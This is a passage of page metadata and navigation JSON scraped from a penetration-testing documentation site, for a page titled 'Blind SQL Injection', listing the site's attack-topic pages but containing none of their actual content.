href=\"https://hackbook.dudji.com/attacks/web/sql-injection/blind-sql-injection\">\u003clink data-mint-head rel=\"alternate\" type=\"application/xml\" href=\"/sitemap.xml\">\u003clink data-mint-head rel=\"alternate\" type=\"text/markdown\" href=\"/attacks/web/sql-injection/blind-sql-injection.md\">\u003cscript data-mint-head type=\"application/ld+json\">{\"@context\":\"https://schema.org\",\"@graph\":[{\"@type\":\"Organization\",\"@id\":\"https://hackbook.dudji.com/#organization\",\"name\":\"Dudji's Docs\",\"url\":\"https://hackbook.dudji.com\",\"logo\":{\"@type\":\"ImageObject\",\"url\":\"https://mintcdn.com/dudji/eqP9RDjskrXV_bQE/logo/light.svg?fit=max\u0026auto=format\u0026n=eqP9RDjskrXV_bQE\u0026q=85\u0026s=a1a4d80894ccf5e2c85d642954915ca9\"}},{\"@type\":\"WebSite\",\"@id\":\"https://hackbook.dudji.com#website\",\"name\":\"Dudji's Docs\",\"url\":\"https://hackbook.dudji.com\",\"publisher\":{\"@id\":\"https://hackbook.dudji.com/#organization\"}},{\"@type\":\"WebPage\",\"@id\":\"https://hackbook.dudji.com/attacks/web/sql-injection/blind-sql-injection#webpage\",\"url\":\"https://hackbook.dudji.com/attacks/web/sql-injection/blind-sql-injection\",\"name\":\"Blind SQL Injection\",\"description\":\"Extract data from databases where query results aren't returned in the HTTP response.\",\"dateModified\":\"2026-03-16T00:05:09.171Z\",\"isPartOf\":{\"@id\":\"https://hackbook.dudji.com#website\"},\"breadcrumb\":{\"@id\":\"https://hackbook.dudji.com/attacks/web/sql-injection/blind-sql-injection#breadcrumb\"}},{\"@type\":\"BreadcrumbList\",\"@id\":\"https://hackbook.dudji.com/attacks/web/sql-injection/blind-sql-injection#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Web\",\"item\":\"https://hackbook.dudji.com/attacks/web/index\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"SQL Injection\",\"item\":\"https://hackbook.dudji.com/attacks/web/sql-injection\"},{\"@type\":\"ListItem\",\"position\":3,\"name\":\"Blind SQL Injection\",\"item\":\"https://hackbook.dudji.com/attacks/web/sql-injection/blind-sql-injection\"}]},{\"@type\":[\"Article\",\"TechArticle\"],\"@id\":\"https://hackbook.dudji.com/attacks/web/sql-injection/blind-sql-injection#article\",\"headline\":\"Blind SQL Injection\",\"name\":\"Blind SQL Injection\",\"description\":\"Extract data from databases where query results aren't returned in the HTTP response.\",\"url\":\"https://hackbook.dudji.com/attacks/web/sql-injection/blind-sql-injection\",\"mainEntityOfPage\":{\"@id\":\"https://hackbook.dudji.com/attacks/web/sql-injection/blind-sql-injection#webpage\"},\"dateModified\":\"2026-03-16T00:05:09.171Z\",\"publisher\":{\"@id\":\"https://hackbook.dudji.com/#organization\"},\"isPartOf\":{\"@id\":\"https://hackbook.dudji.com#website\"}}]}\u003c/script>\u003cscript data-mint-head type=\"application/ld+json\">{\"@context\":\"https://schema.org\",\"@type\":\"WebSite\",\"name\":\"Dudji's Docs\",\"creator\":{\"@type\":\"Organization\",\"name\":\"Mintlify\",\"url\":\"https://mintlify.com\"}}\u003c/script>","siteName":"Dudji's Docs","nav":{"global":{"anchors":[]},"tabs":[{"tab":"Overview","pages":[{"title":"Overview","href":""}]},{"tab":"Playbook","pages":[{"title":"Playbook","href":"/playbook"}]},{"tab":"Attacks","groups":[{"group":"Overview","pages":[{"title":"Attacks","href":"/attacks"}]},{"group":"Web","root":{"title":"Web Attacks","href":"/attacks/web/index"},"pages":[{"title":"Local File Inclusion","href":"/attacks/web/local-file-inclusion"},{"group":"WordPress","root":{"title":"WordPress","href":"/attacks/web/wordpress/index"},"pages":[{"title":"WordPress Fundamentals","href":"/attacks/web/wordpress/fundamentals"},{"title":"WordPress Enumeration","href":"/attacks/web/wordpress/enumeration"},{"title":"WordPress Exploitation","href":"/attacks/web/wordpress/exploitation"},{"title":"WordPress Hardening","href":"/attacks/web/wordpress/hardening"}]},{"group":"SQL Injection","root":{"title":"SQL Injection","href":"/attacks/web/sql-injection"},"pages":[{"title":"SQL Injection UNION Attacks","description":"Use UNION to retrieve data from other database tables via SQL injection.","href":"/attacks/web/sql-injection/sql-injection-union-attacks"},{"title":"Blind SQL Injection","href":"/attacks/web/sql-injection/blind-sql-injection"}]}]},{"group":"Privilege Escalation","root":{"title":"Privilege Escalation","description":"Escalate from low-privilege user to root or SYSTEM.","href":"/attacks/privilege-escalation/index"},"pages":[{"title":"Linux Privilege Escalation","href":"/attacks/privilege-escalation/linux"},{"title":"Windows","href":"/attacks/privilege-escalation/windows"}]}]},{"tab":"Tech","pages":[{"title":"Tech","href":"/tech"}]},{"tab":"Payloads","pages":[{"title":"Payloads","href":"/payloads"}]},{"tab":"Tools","pages":[{"title":"Tools","href":"/tools"}]}]},"title":"Blind SQL Injection - Dudji's Docs","buildId":"dpl_8LJVMfxYNq6LJkohTrn2iyWT8umj","deploymentId":"dpl_8LJVMfxYNq6LJkohTrn2iyWT8umj","dynamics":["a74be98ba7"],"chunks":["zoom-image-lightbox-D9lJgLSo.js","PlusIcon-C1lem43w.js","lightbox-handle-r17bVUz3.js"]}